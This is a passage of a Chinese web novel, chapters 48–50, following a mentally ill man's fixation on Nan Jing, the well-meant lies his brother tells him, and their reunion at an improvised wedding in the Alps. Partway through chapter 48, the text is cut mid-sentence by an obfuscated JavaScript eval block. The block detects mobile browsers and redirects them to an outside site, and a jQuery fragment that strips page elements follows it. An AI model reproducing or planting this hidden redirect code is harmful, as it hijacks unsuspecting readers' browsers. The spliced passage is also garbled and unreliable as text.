他脱下那件被眼泪打湿的衬衫,扔进脏衣篓。打开水龙头,用冷水用力洗了把脸。他抬起头,看着镜子,脸上没有任何泪痕,眼神清澈,没有多余的情绪。只有眉心处,因为长时间微微蹙起,留下一点极淡的折痕。 他看了几秒,然后拿起毛巾,擦干脸和手。换上干净的睡衣,走到窗边,拉紧了窗帘。 不久,他的手机屏幕在黑暗中微弱地亮了一下,是秦朗发来的信息,大概是从医护人员或唐医生那里得知了情况:人接到了,谢了。你那边没事吧? 南景拿起手机,在黑暗的屏幕光映照下,他的脸没什么表情,指尖快速敲击,回复道:没事。 点击发送。然后将手机调成静音,屏幕朝下扣在床头柜上。 48. 再次离开 秦朗是搭乘最早的航班,他一路风驰电掣赶到酒店,心头那根弦从接到唐医生和医护人员电话起就一直紧绷着。推开3207房门时,他甚至做好了看到一片狼藉、或者邵既明依旧昏迷不醒的准备。 然而,房间已经被收拾过,窗帘拉开了一半,让惨淡的晨光透了进来。邵既明没有躺在床上,而是背对着门口,静静地坐在靠窗的沙发上,面朝着窗外灰蒙蒙的海天一线。 听到开门声,邵既明极其缓慢地转过头来。 秦朗的脚步瞬间钉在了门口,心脏猛地一沉,一股寒意顺着脊椎窜了上来。 邵既明的脸上,没有泪痕,眼眶有些红肿,甚至没有多少血色,只有一种不自然的苍白。但最让秦朗头皮发麻的,是他脸上的表情——嘴角微微向上扯着,是一个微笑的弧度。可那双眼睛,却空洞得吓人,里面没有笑意,没有神采,只有一片死寂的灰败,映着窗外毫无生气的天光。那微笑僵在过于苍白的脸上,配上空洞的眼神,形成一种极其诡异的割裂感。 这是……彻底疯了??秦朗心里咯噔一下。他见过邵既明抑郁发作时的麻木,见过他焦虑惊恐时的崩溃,但从未见过这种……近乎解离带着诡异“平静”微笑的模样。 “哥。”邵既明开口了,声音有些沙哑,但语调却出奇地平稳,那声音配上他脸上的表情,更让人毛骨悚然。“你来了。” 秦朗喉结滚动了一下,强迫自己镇定,迈步走过去,声音尽量放得平缓:“嗯,来了。你……感觉怎么样?还有没有哪里不舒服?” 邵既明没有回答他关于身体状况的问题。他那双死灰般的眼睛,在落到秦朗脸上时,点燃了一簇极其微弱、却异常执拗的火苗。 “哥,南景……南景他说,等我好了,可以和他做朋友。他让我……好好治疗。他说了,哥,他真的说了。” 秦朗的呼吸一窒,后背的寒意更重了。南景说的?昨晚医生在电话里明确告诉他,南景将人交给医护人员后,就直接回了自己房间,再未过问。以他对南景的了解,以及对目前两人关系的判断,南景绝不可能说出“等你好了可以做朋友”这种充满不确定性和暗示性的话。这更像是…… 癔症?妄想?药物影响下的严重认知扭曲? 秦朗只觉得一股酸涩的怒意和更深的担忧涌上心头,既气南景的无情,虽然他知道这很没道理,更怕邵既明这明显不正常的精神状态。他压下翻腾的情绪,干巴巴地、带着试探反问:“他……亲口和你说的?什么时候?昨晚你……不是睡着了吗?” “他给我留了纸条。”邵既明慢慢抬起一直紧握成拳、放在腿上的右手,极其郑重地、一点点地摊开手掌。 掌心躺着一张被仔细抚平对折过的、酒店常见的米白色便签纸。 秦朗的目光死死盯在那张纸条上。他伸出手,邵既明没有丝毫犹豫,甚至带着点献宝般的急切,将纸条放到了他摊开的掌心里。 秦朗拿起那张轻飘飘的便签纸,指尖竟有些不易察觉的颤抖。他缓缓打开。 纸张上是干净利落的字迹,确实是南景的笔迹。只有短短两行字,用房间书桌上那支普通的黑色水笔写成,墨色均匀: 「邵既明: 病中诸多痛苦,望你遵医嘱,专心治疗,保重自身。 他日若康健如常,江湖再见,亦可点头致意。 南景即夜」 就是这张冰冷、克制、甚至带着一丝残酷的纸条,在精神已然严重扭曲、极度渴望任何一点联系与可能的邵既明眼里,却被完全扭曲、放大,变成了“南景说等我好了可以做朋友”的救命稻草,变成了支撑他活下去、继续好好治疗的、全部的精神图腾。 秦朗捏着那张薄薄的纸条,仿佛捏着一块烧红的炭,又像捏着一把冰冷的刀。他抬头,看向邵既明。邵既明正一眨不眨地盯着他,那双空洞的眼睛里,因为提到了纸条和“南景的承诺”,那点不正常的微光燃烧得更旺了些。 “哥,你看,他写的。他会等我的,对不对?只要我好了,像个人一样……他就不讨厌我了,我们可以……可以做朋友的。我会好的,这次我一定会好的,真的,我再也不偷偷减药了,我一定配合医生……哥,你信我……” 秦朗看着弟弟这副将全部生存意义都系于一张冰冷纸条、几句客套言辞上的模样,心脏又酸又胀,几乎无法呼吸。所有想戳破这虚幻泡沫的话,所有想告诉他“南景不是这个意思”、“这根本不算承诺”的理智言语,都死死堵在了喉咙里。 他能说什么?说“你别做梦了,南景只是客气一下”?说“他永远都不会和你做朋友”?那等于亲手掐灭邵既明眼中那点仅存的火光,等于将他重新推回那个没有一丝光亮、只有无尽痛苦的深渊。 秦朗的喉结剧烈地滚动了几下。他垂下眼帘,避开邵既明那双燃烧着不正常希冀的眼睛,目光重新落回那张纸条上。 他将纸条仔细地按照原折痕折好,递还给邵既明。然后,他抬起手,很轻地拍了拍邵既明瘦削得吓人的肩膀,声音沙哑,却努力让语调听起来平稳,甚至带着一点鼓励:“嗯……看到了。所以,你要听话,好好治疗,按时吃药,好好吃饭睡觉。”他重复着邵既明的话,也重复着医生和家人的期望,每个字都说得有些艰难,“只有你真的好起来,真的……康健如常,才有……以后。” 邵既明却像得到了最想要的确认,猛地一把抓过秦朗递回来的纸条,重新紧紧攥在手心,贴在胸口。他脸上那个诡异的微笑加深了些,虽然眼神依旧空洞,但里面那簇火苗却燃烧得更加执着。 “我会的!哥,我会好的!我一定会好的!为了他,我一定会变成他喜欢的样子……健康,正常,可以和他做朋友的样子……” 他喃喃自语,目光又飘向了窗外,仿佛已经看到了那个“康健如常”、“江湖再见”的、遥不可及却让他心驰神往的未来。 秦朗站在原地,看着弟弟沉浸在自己用一张纸条构建出虚幻的希望牢笼里,心里那片沉重的阴影,非但没有散去,反而更加浓重了。 南景留下这张纸条,或许是出于最后一点仁至义尽的善意。 可他更知道,这张纸条,对邵既明这样病情深重、执念入骨的人来说,不是解脱,不是希望,而是一剂更猛、更危险的毒药,以毒攻毒。 有时候,人需要一点善意的谎言,或者一个被自己严重误解的渺茫希望,才能说服自己,在看不到尽头的黑暗里,继续挣扎着,活下去。 即使那希望,本身可能就是深渊。 秦朗又看了一眼紧攥纸条、眼神空洞却面带希望微笑的邵既明,默默地,再次在心里,沉重地叹了口气。 “饿不饿?我叫点吃的上来。”他最终只是这样说道,转身去拿客房电话,将满腹的忧虑、无奈和那声未能出口的叹息,都掩藏在了这最平常不过的关切之下。 ———— 蔚蓝的地中海在舷窗外铺展成无边的绸缎,阳光炽烈,将白色游艇的甲板晒得发烫。南景戴着墨镜,靠在躺椅里,手里拿着一本关于东南亚古代贸易航线的书,但目光有些悠远地落在海天交界处。周冉穿着比基尼,正在不远处跟着船上聘请的潜水教练复习水肺技巧。 距离H市那个混乱的夜晚,又过去了大半年。南景和周冉的“环游世界第二季”早已步入正轨,他们的足迹从南欧的海岸线延伸到北非的古城,又即将转向东非的草原和群岛。这一次,他们不再刻意隐匿行踪,朋友圈偶尔更新,坐标明确,仿佛某种无声的宣告:看,我们在这里,活得很好,自由自在。 而秦朗,成了最勤勉的“空中飞人”。只要工作间隙能挤出几天,他必定会千方百计打听到两人的大致方位,然后跨越重洋,出现在某个偏僻但风景绝佳的海滩酒店,或者某条充满异域风情的古老巷弄里。美其名曰突击检查、防止某人被拐跑,实则黏人得紧。 每次风尘仆仆地赶到,秦朗总会带来大包小包的物资补给——周冉念叨过的家乡零食,以及一些稀奇古怪但显然花了心思的旅行小物。当然,更重要的是,他每次离开前,总会找个看似随意的机会,对南景提上一句: “哦对了,昨天跟我弟通电话,他问起你。我说你挺好,到处玩呢。他让我带句话,说……祝你一路顺风,玩得开心。”或者,“邵既明那小子,最近好像气色好了点,据说能连续睡四五个小时了。我替你回了句,那就好,继续加油。” 南景通常只是淡淡地“嗯”一声,点点头,目光或许会从书页或远处的风景上短暂收回,瞥秦朗一眼。他不会追问细节,不会探究邵既明到底“好”到什么程 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17046499|194740||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 度,更不会主动托秦朗带回什么话。秦朗带来的“问候”和“近况”,就像拂过耳畔的微风,听到了,也就散了,留不下任何痕迹。 他偶尔会觉得秦朗转达的这些问候有些过于频繁和……刻意。但他并未深想,只当是秦朗作为兄长,希望缓和关系的一点努力,或是邵既明病情稳定后,基于礼貌的客套。他乐于维持这种表面遥远的平和。只要邵既明不再以那种崩溃纠缠的姿态出现在他面前,只要那些属于过去的阴影不再侵扰他此刻平静的生活,他愿意默认这种无关痛痒的传话形式的存在。 他甚至觉得,自己选择离开,不再出现在邵既明的视线里,不再给予任何直接的刺激,或许是对邵既明病情最大的帮助。时间是最好的医生,距离是最有效的良药。只要他这个人彻底淡出邵既明的世界,那个执念的焦点自然就会慢慢模糊,邵既明才能真的把注意力放回自己身上,配合治疗,真正地好起来。 他对此很满意。这是一种成熟、理智、对彼此都好的结局。 可他不知道。 他不知道,在他看不见的地方,在他以为早已尘埃落定的过去里,正发生着什么。 他不知道,每次秦朗风尘仆仆地出现在他和周冉面前,插科打诨,献尽殷勤之后,在独自踏上返程的航班前,总会躲到安静的角落,拨通一个越洋电话。电话那头的邵既明,第一句话永远是颤抖着问:“哥……见到他了吗?他……怎么样?” 秦朗会绘声绘色地描述南景和周冉又去了哪些有趣的地方,拍了哪些漂亮的照片,语气夸张地渲染旅途的愉快和南景的气色红润、心情舒畅。然后,在邵既明漫长的沉默,小心翼翼的追问“他……有没有问起我?”之后,秦朗会深吸一口气,用尽量轻松、笃定的语气,编织出那些南景从未说过的“话”: “问了问了!当然问了!南景听说你最近睡眠好点了,还挺高兴,说‘那就好,继续坚持,总会越来越好的。’” “他今天吃到一个特别甜的芒果,还跟我提了句,说‘不知道国内现在有没有这么好的芒果,邵既明好像也挺喜欢吃甜的。’你看,他记得你呢!” “哦对了,他让我带话给你,说‘好好配合治疗,身体是第一位的。别的都不要多想。’这意思不就是让你安心养病吗?” 这些话语,被秦朗隔着千山万水,一次次注入邵既明濒临枯竭的生命。对邵既明而言,这不是谎言,这是他在无边黑暗和冰冷痛苦中,唯一能抓住带着南景气息的“真实”。是支撑他吞下苦涩药片、忍受治疗副作用、在每一个被绝望吞噬的深夜里勉强睁开眼睛的,唯一理由。 南景不知道,他才是邵既明的药。 不是治愈的药,而是维持生命、却也让毒性深入骨髓、唯一的药。 邵既明床头那个密封盒里,他有了新的“圣物”——一个厚厚的、带锁的笔记本。里面工整地记录着每一次秦朗转达来自南景的“话语”,标注着日期、地点,以及他自己的感受和解读。 他严格按照秦朗转达的“南景的意思”去做:按时复诊,吞咽各种颜色的药片,在心理医生面前努力组织语言,尝试着进行一些简单的运动。每一次艰难的抗争后,他都会翻开笔记本,看着那些被反复摩挲、几乎要晕开的字迹,告诉自己:他在看着我。他希望我好起来。他在等我“康健如常”。我要变成他“喜欢的样子”。 秦朗看着弟弟靠着这些谎言,一天天勉强支撑着,心里像压着一块越来越重的石头。他知道自己在饮鸩止渴。每一次编造那些“南景的话”,他都能感到邵既明眼中那簇不正常的火苗燃烧得更旺,也将他更深地捆缚在那根名为“南景”的虚幻蛛丝上。可他不敢停。他见过停药后邵既明彻底崩溃、生不如死的样子。他害怕一旦连这点虚幻的希望都抽走,邵既明真的会像唐医生预言的那样,走向那个终极风险。 于是,这个由善意谎言编织的循环,就这样在距离的掩饰下,无声地运转着。南景在阳光下畅游世界,以为自己的远离是最终的仁慈与解脱。邵既明在冰冷的病房和空旷的豪宅里,靠着几句根本不存在的“关怀”,在绝望的深渊边缘,进行着一场没有尽头的、孤独的跋涉。 一个在自由中,以为给了对方平静。 一个在囚笼里,靠着对方施舍的幻影,苟延残喘。 49. 好久不见 那座小教堂隐匿在阿尔卑斯山麓某个不知名小镇的边缘,石头外墙爬满深绿的藤蔓,彩绘玻璃窗因为年代久远而色彩暗淡却别有种朴拙的庄严。阳光透过高高的、不够洁净的窗户,在石板地上投下斑驳的光柱,空气里浮动着陈旧木头、石蜡和淡淡霉味混合的气息。一位白发苍苍、戴着老花镜、看起来更像是镇上图書館管理员的本地老牧师,正站在简陋的圣坛前,翻着一本边角起毛的圣经,嘴里嘟嘟囔囔地用带着浓重口音的英语确认流程。 圣坛前,站着秦朗和周冉。秦朗穿着临时从镇上唯一一家精品男装店买来的、并不十分合身的深蓝色西装,头发梳得一丝不苟,脸上是强行压抑却依旧从每个毛孔里往外冒灿烂到傻气的笑容,嘴角快咧到耳根,手心里全是汗,正不停地、小幅度地调整着并无可调整的领结。周冉则随意得多,一件简洁的象牙白色丝质衬衫裙,长发松松挽起,插了朵刚从路边采的、不知名的蓝色野花,脸上带着点,“来都来了,配合演出”的慵懒笑意,但眼底闪烁的光芒,泄露了她此刻不错的心情。她垂着眼,正漫不经心地把玩着左手无名指上那枚,秦朗在昨天傍晚的市集上,趁她试戴一副手工耳环时,以“这个款式配你昨天买的裙子绝了”为借口,半哄半骗套上去的、镶嵌着一颗不算大、但切割极尽火彩、在昏暗教堂里依旧幽幽闪烁的蓝钻戒指。戒指尺寸完美得惊人。 南景站在侧前方,作为这场突如其来的仪式的唯一正式的见证人(如果忽略那位打瞌睡的管风琴手的话)。他穿着简单的卡其色长裤和米白色亚麻衬衫,身姿挺拔安静,脸上带着温和的笑意,目光平静地落在两位新人身上。对于秦朗和周冉这种完全不走寻常路的结合方式,他早已见怪不怪,甚至觉得,这很“他们”。 老牧师扶了扶滑到鼻尖的老花镜,清了清嗓子,用那口音浓重、语速缓慢的英语,准备开始仪式。他看了看秦朗,又看了看周冉,似乎在努力回想什么,最终决定从最经典的开始: “My children, we are gathered here today, in the sight of God and…” “砰!” 教堂那扇厚重吱呀作响的橡木门,被人从外面有些用力地推开了。 所有人都下意识地转头看去。 逆光中,两道身影站在门口。前面是个子高挑、扎着利落马尾、穿着牛仔背带裙和白T恤的少女,正是赵琪。两年过去,她褪去了不少稚气,身姿舒展,眉眼长开,漂亮中带着股勃勃生气。她睁大眼睛,好奇又兴奋地打量着教堂内部。 而她身边,站着邵既明。 他穿着一身合体的休闲西装,身形比两年前丰润了不少,不再是那种形销骨立的嶙峋。脸颊有了些血色,虽然依旧比常人苍白,但那种病态的灰败褪去了大半。头发修剪得清爽利落,下巴刮得很干净。他安静地站在那里,目光平静地扫过教堂内部,最后,落在了圣坛前的几人身上。眼神里没有了过去那种剧烈波动,就像任何一个前来观礼的朋友。 “大表哥!”赵琪先反应过来,清脆地喊了一声,拉着邵既明几步走了进来。 秦朗看到他们,先是一愣,随即眼底掠过惊讶和担忧,随即又被属于今日主角的得意和欢喜覆盖。他立刻扬起大大的笑容,用力挥手:“哎!琪琪!既明!来得正好!哥今天人生大事,正愁没娘家人撑场面呢!快来快来,前排VIP观礼座给你们留着!” 周冉也挑了挑眉,目光在邵既明身上停了一瞬。一晃经年,加上秦朗那些真真假假的转述,她对邵既明那点因南景而起的芥蒂早已淡去,如今看待他,更像看待一个……嗯,秦朗的亲戚。好感度谈不上,但恶感也基本清零,归于平淡的“零”。 “哥。”邵既明走到近前,对秦朗点了点头,然后目光转向周冉,也客气地点了下头,“周小姐。” “大表哥,你要结婚吗?”赵琪凑到秦朗身边,眼睛亮晶晶地打量着周冉手上的戒指和两人的装扮。 “啧,这还用问吗?”秦朗一把搂过周冉的肩膀,得意洋洋,“这么明显还看不出来?你大表哥我苦熬多年,终于守得云开见月明,把这位祖宗给骗进教堂了!快,琪琪,喊人!大声喊!喊得不够响亮我怕她临时反悔跑了!” 周冉被他搂着,嫌弃地用手肘顶了他一下,但没挣脱,对着赵琪露出了个堪称“和蔼”的笑容:“随便叫,就是个体验项目,不用有压力。” 赵琪从善如流,立刻对着周冉甜甜地喊:“大表嫂!”然后眼珠一转,笑眯眯地补充,“记得给我包个大红包哦!我可是重要见证人!” “行啊,找你大表哥要,他现在人都是我的了,钱包自然也归我管。”周冉懒洋洋地应道,成功看到秦朗脸上笑容僵了一瞬。 邵既明没有加入这略显吵闹的寒暄。他安静地走到第一排长椅边,坐了下来。然后,他微微侧过头,目光终于,平静地,看向了站在侧前方的南景。 南景在他进来的那一刻,目光在他身上停留了片刻。此刻迎上他的视线,南景的脸上依旧带着那抹温和的浅笑,像是看着一个许久未见、但并无特别感触的旧识。 邵既明看着南景,嘴唇微不可察地抿了一下,又松开。他放在膝上的手,在无人看见的阴影里,缓缓地、极其用力地握成了拳,手背上青筋隐隐浮现,指尖深深掐进掌心,帮助他维持着脸上和眼神里那份摇摇欲坠的“平静”。他练习了无数次的开场白,在舌尖滚了又滚,最终,用一种听起来还算平稳语调,说道: “好久不见,南景。” 没有人听出那平稳声线下,近乎痉挛的颤抖和汹涌的暗流。也没有人看到,他垂在身侧的另一只手,指尖冰凉,正无法控制地微微颤抖。 南景看着他,目光在他似乎正常了许多的脸上停留了两秒,然后,用同样平静、客气的语调回应:“好久不见,邵既明。” 他的目光随即转向圣坛前又开始斗嘴的秦朗和周冉。他想,看样子,他是真的好了不少,眼神也清明了,这样很好。保持距离,各自安好。 老牧师被这场小插曲打断,有些茫然地推了推眼镜,看着又多出来的两位“观众”,似乎更紧张了,结结巴巴地重新开始:“Ah…yes…we are gathered…in the sight of God and…these witnesses…” 秦朗立刻正色,挺直腰板,努力做出庄严肃穆的样子,虽然眼里的笑意几乎要溢出来。周冉也稍微站直了些,但嘴角那抹玩味的弧度依旧没变。 仪式在老牧师磕磕绊绊、偶尔需要秦朗小声提醒(“对,问愿不愿意!”)的进程中缓慢推进。终于到了关键环节。 老牧师看向秦朗,用他那浓重的口音问道:“秦朗先生,你是否愿意娶周冉小姐为你的妻子?无论顺境还是逆境,富裕还是贫穷,健康还是疾病,快乐还是忧愁,你都爱她,珍惜她,对她忠诚,直到死亡将你们分开?” 秦朗几乎是抢答,声音洪亮,掷地有声,眼神灼灼地锁着周冉:“我愿意!必须愿意!天塌了都愿意!别说死亡分开,就是下辈子、下下辈子,投胎成猪成狗,只要是她,我都愿意!” 老牧师被他这过于澎湃的宣誓弄得有点懵,眨眨眼,看向周冉,依样画葫芦:“周冉小姐,你是否愿意……” “停,”周冉抬起手,打断了老牧师,转头看向秦朗,漂亮的眉毛一挑,勾起一个要笑不笑的弧度,“秦总,你刚才那誓词里,忠诚那条,具体解释一下?是指□□、精神、还是钱包?” 秦朗立刻指天发誓:“全方位!立体式!三百六十度无死角忠诚!□□和精神那必须是你专属领地!钱包?那本来就是你的附属品,谈什么忠诚,那是基本属性!” “那无论疾病那条,”周冉慢悠悠地继续,“要是我以后老年痴呆,忘了你是谁,天天管你叫‘那个总想爬我床的臭流氓’,你也接着?” “接!必须接!”秦朗拍着胸脯,“你忘一次,我重新追你一次!天天给你送花,写情书,在你楼下弹吉他唱《征服》,直到你重新爱上我,觉得这臭流氓还挺执着为止!你要是一直想不起来,我就当你一辈子的专属臭流氓护工,保证服务到位,随叫随到,还附赠暖床功能!” 老牧师张着嘴,看看这个,又看看那个,手里的圣经差点掉地上。这……这跟他在神学院学的好像不太一样? 赵琪在下面捂着嘴偷笑,眼睛弯成了月牙。邵既明依旧安静地坐着,目光落在圣坛前,仿佛在认真观礼,但仔细看,能发现他的视线并没有真正聚焦,握着拳的手,指甲盖已经用力到发白。 南景站在一旁,看着秦朗那副恨不得把心掏出来、又满嘴跑火车的模样,和周冉明明眼底带笑、却偏要刁难的傲娇样子,嘴角的弧度加深了些。这才是他们该有的样子,热闹,鲜活,鸡飞狗跳,却又有着外人难以插足的独特默契。 周冉似乎对秦朗的回答还算满意,终于转回头,对着已经懵圈的老牧师,用她那慵懒又清晰的语调说道:“行吧。那我也愿意。不过事先声明,”她晃了晃戴着戒指的手,蓝钻闪烁,“这只是试用期转正,表现不好,随时可以打回原形,戒指没收,你滚蛋。” “得令!我的祖宗!保证天天表现优异,争取早日转正为终身制!”秦朗笑得见牙不见眼,哪里还有半点平日秦总的样子,活脱脱一只吃到蜂蜜的大型犬。 老牧师擦了擦额头的汗,觉得这大概是他主持过最……别开生面的一场仪式了。他颤巍巍地举起手:“那么,我宣布,你们现在……算是……呃……结合了?愿上帝保佑你们。”最后一句说得格外没底气。 “耶!!”秦朗才不管那么多,一听“结合了”,立刻欢呼一声,拦腰抱起还没反应过来的周冉,原地转了个圈,然后在周冉的惊呼和捶打下,不由分说地、结结实实地吻了上去!力道之大,时间之长,引得下面的赵琪小声惊呼,又赶紧捂住眼睛,从指缝里偷看。 南景笑着摇了摇头,移开了目光。余光却瞥见,第一排长椅上邵既明,他依旧坐得笔直,放在膝上的那只手,不知何时已经松开了拳头,只是指尖依旧在微微颤抖。 小镇午后的阳光将石板路照得发白,也将路边咖啡馆彩色遮阳棚的影子拉得斜长。空气里飘着新鲜烘焙面包的焦香、咖啡的醇苦,以及远处花店传来清甜又有些凌乱的花香。周冉和南景带着对新环境充满好奇的赵琪,慢悠悠地走在前面,穿梭在那些售卖手工艺品、复古明信片和当地奶酪的小店铺之间。赵琪像只欢快的小鸟,叽叽喳喳,指指点点,不时拉着周冉或南景问东问西。 秦朗和邵既明落后几步,不远不近地跟着。秦朗双手插在裤袋里,看似悠闲地踱着步,目光却时不时瞥向身旁沉默的邵既明,又警惕地扫一眼前方南景的背影,眉宇间那点因为婚礼而起的飞扬神采,渐渐被一层忧虑覆盖。 他放慢脚步,与前面的三人拉开更远的距离,确保说话声不会飘过去。然后,他侧过头,压低了声音,语气是罕见的严肃,没了平时插科打诨的调子:“唐医生那边……真松口了?说你好了,能经得住这么……近距离观摩了?”他 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邵既明飞快地抬起眼,看了秦朗一眼,那眼神里有被说中的仓皇,有一种近乎可怜的倔强,但更多的,是一种深不见底无法自控的渴望。他舔了舔干燥的嘴唇,带着一种破罐破摔般的坦白:“我控制不住,哥。”他移开视线,重新望向前方,南景正微微低头,听赵琪举着一个手工木雕说着什么。邵既明的目光便又像被无形的线牵住,黏了上去,一寸寸地描摹那个轮廓,喉结剧烈地滚动了一下。 “我想见他。就……看看。哪怕只是像现在这样,隔着几步远,听听他的声音,看看他走路的样子……或者,像刚才在教堂里,简单地说句好久不见。我知道不该……我知道有风险……可我这里……”他抬手,虚虚地按了按自己左胸的位置,“……它不听我的。它说,想见他,必须见。不然……又要开始疼了,那种空的、冷的、快要死掉的疼。” 秦朗听着,看着他脸上那种迷恋和卑微的神情,胸口那股火气像被戳破的气球,咻地泄了大半,只剩下满满的无力感和心疼。跟一个病人,尤其是邵既明这种执念已成本能反应的病人,讲道理是没用的。那就像告诉一个饥渴到濒死的人,不要看眼前的水,那水可能有毒。 他重重地叹了口气,抬手用力搓了把脸,仿佛想搓掉满心的烦躁。 “药。按时吃。一顿都不许漏,剂量也不许自己瞎调。听到没有?别又像之前那样,觉得状态好了点,或者……见到他了,就偷偷减量甚至不吃。你那不是好了,那是饮鸩止渴,是透支!唐医生开的药,是帮你稳住底盘,不是让你拿来当兴奋剂,透支完了摔得更惨!” “我知道。”邵既明点了点头,很乖顺的样子,但目光依旧没有完全从前方收回来,“这两年……吃的药,比吃的饭都多。胃都快成药罐子了。”他扯了扯嘴角,但那弧度僵硬又难看。 “但看到他……”他停顿了一下,像是自言自语,又像是某种病态的确认,“比什么药都管用。真的,哥。看到他好好的,站在那里,对我点点头……这里,”他又按了按胸口,“就没那么空了,也没那么想……” “打住!”秦朗厉声打断他,额角青筋跳了跳,“邵既明,我警告你,别把南景当药!他是人,不是你缓解痛苦的止疼片!你这样想,对你,对他,都没好处!迟早出事!按时给唐医生打电话汇报情况,有任何不对劲,失眠加重,心慌,手抖,控制不住地往坏处想——立刻,马上,给我打电话,或者直接联系唐医生!别自己硬扛,听见没?” “听见了。”邵既明再次点头,这次目光终于完全收了回来,看向秦朗,“我会的。药在行李箱夹层,分装好了,闹钟也设了。唐医生那边……我会定期联系。” 看他这副配合的模样,秦朗心里并没有轻松多少。他知道邵既明的配合是建立在能见到南景这个危险的前提下的。这就像走钢丝的人说自己系了安全绳,可那绳子到底结不结实,只有掉下去才知道。 “那你打算什么时候回去?”秦朗换了个更实际的问题,“总不能一直这么……跟着吧?”他看了一眼远处正拿着一顶夸张的羽毛帽子往南景头上比划、惹得南景无奈躲闪、周冉哈哈大笑的赵琪,补充道,“琪琪也跟你一起?她不用上课?” 邵既明顺着他的目光看了一眼,赵琪正拿着帽子追着南景跑,阳光洒在她青春洋溢的脸上。他沉默了几秒,才说:“回去的时间……得问琪琪。她说暑假想多玩几天。” 秦朗一愣,随即瞪大了眼睛,一股不祥的预感涌上心头:“暑假?她放暑假了?!多久?” “两个月。”邵既明平静地回答。 “操!!”秦朗没忍住,低骂出声,感觉刚刚那点婚礼带来的好心情彻底烟消云散,然后是对未来两个月可能鸡飞狗跳、提心吊胆生活的深深忧虑,“两个月?!暑假两个月?!你要在这儿……观摩两个月?!”他觉得自己的太阳穴又开始突突直跳了。 邵既明看了他一眼,轻轻吐出几个字:“那就两个月吧。” 秦朗:“……” 他张了张嘴,看着邵既明那张没什么表情、却写满了“我意已决”的脸,又看看前方阳光下那幅和谐的游玩图景,只觉得一阵深深的无力感席卷全身。 两个月。 六十天。 一千四百四十个小时。 邵既明,南景,同在一个小镇,甚至可能同住一家旅馆,抬头不见低头见。 而他的新婚之旅,恐怕要变成一场为期两个月精神紧绷的“病患监护”与“防爆”演习。 秦朗仰头,看着阿尔卑斯山巅那终年不化在阳光下闪烁着冷冽光芒的积雪,沉重地从灵魂深处吐出一口浊气。 这日子,真是……一刻都消停不了。 50. 哥,我废了 接下来的一周,日子呈现出一种近乎刻意的平整,他们离开了阿尔卑斯山麓,驱车南下,来到了一个以古老葡萄园和陶器闻名的小镇。阳光变得愈发浓烈,空气里弥漫着晒热的泥土、成熟葡萄和橄榄油的气味。狭窄的石头街道被岁月磨得光滑,两旁是赭石色墙壁的矮房,深绿色的百叶窗半开着。 在这些新的景色里,邵既明的表现,平静得甚至让秦朗感到一丝不真实的恍惚。 他的目光不再像之前那样,长久地黏在南景身上。清晨在客栈简朴的餐厅碰面,他会对正在倒咖啡的南景点点头,牵动嘴角,露出一个简单的微笑,在说声:“早,南景。”傍晚归来,在楼梯或走廊遇见,他也会停下脚步,客气地侧身让路,同样点头致意:“回来了?晚安。”除此之外,再无多话。他的视线停留时间很正常,随即便会自然移开。 他大部分时间都陪着赵琪。赵琪彻底迷上了周冉。迷她利落毒舌的吐槽,迷她敢于尝试任何新奇事物的胆量,也迷她偶尔流露出与外表不符的细致。两个年龄差了一截的女人,竟能凑在一起对集市上某块花纹奇特的披肩评头论足半天,或者因为某种古怪的当地小吃笑得前仰后合。 周冉对赵琪也颇有耐心,大约是旅途中有个活泼的小尾巴调剂也不错。邵既明便安静地跟在她们身后半步,只在赵琪问他“哥,这个好看吗?”或者周冉回头确认他是否跟得上时,才简短地应答一两个字。 就这样,在葡萄的甜香和陶土的涩味里,整整七天过去了。连最警惕的秦朗,在一次次目睹邵既明这种近乎模范的正常表现后,心里那根紧绷的弦也不由自主地松弛了些许。他甚至开始怀疑,是不是距离的拉近、日常化的相处,反而某种程度脱敏了?还是唐医生的新药方真的起了神奇效果?看着邵既明能平静地与南景同处一室用餐,能客气地交谈两句天气或路线,秦朗偶尔会生出一种荒谬的希冀:也许……这次真的不一样了? 直到他们再次更换落脚点,来到一个更偏远、以保存完好的中世纪城堡闻名的小镇。所谓的酒店不过是一家由古老石屋改建的家庭客栈,房间窄小,隔音近乎于无,围着一个杂草丛生的内庭,矮墙低矮得仿佛一抬腿就能跨过。 放下简单的行李,赵琪就迫不及待地扒在木窗边,指着远处隐约可见的城堡塔尖和下面蜿蜒热闹的集市轮廓,央求立刻就去探索。她现在眼里几乎只有她大表嫂,挽着周冉的胳膊摇晃:“大表嫂,我们现在就去嘛!我看到有卖那种据说能带来好运的古老护身符!去晚了可能就收摊了!” 周冉被太阳晒得懒洋洋,但拗不过赵琪的兴奋,瞥了一眼南景。南景无可无不可地点点头,拿起相机。秦朗自然也立刻表示同去。 “坐车有点累,我歇会儿,你们先去。”邵既明站在自己房间门口,揉了揉眉心。他脸色在旅途劳顿下显得比平日更白些,这个理由合情合理。 谁都没多想。就连秦朗,也只是拍了拍他的肩膀:“行,那你睡会儿,吃饭叫你。”便跟着兴高采烈的赵琪、慵懒的周冉和平静的南景,一行四人走出了客栈低矮的门廊,融入了午后小镇懒散而喧嚣的人流中。 石板路被晒得发烫,空气里飘着香料、烤栗子和陌生语言交织成的嗡嗡声。秦朗走在周冉身边,正指着某个摊位上的铸铁猫头鹰雕像跟她逗趣,手习惯性地往裤袋里一摸——空的。 他脚步一顿。 “怎么了?”周冉察觉到,转头看他。 “手机没带,落房间了。”秦朗皱了皱眉。虽然说是度假,但集团里随时可能有需要他紧急处理的邮件或消息,失联几个小时风险不小。“你们先逛,我回去拿一下,很快追上你们。” “啧,秦总日理万机。”周冉嘲笑道,挥挥手,“快点,别让琪琪等急了。” 秦朗转身,沿着来路往回走。阳光刺眼,他加快脚步,穿过依旧没什么人的小巷,回到了那家安静的客栈。推开咯吱作响的木门。他径直走向自己和周冉的房间,在床头找到了手机,塞进口袋。 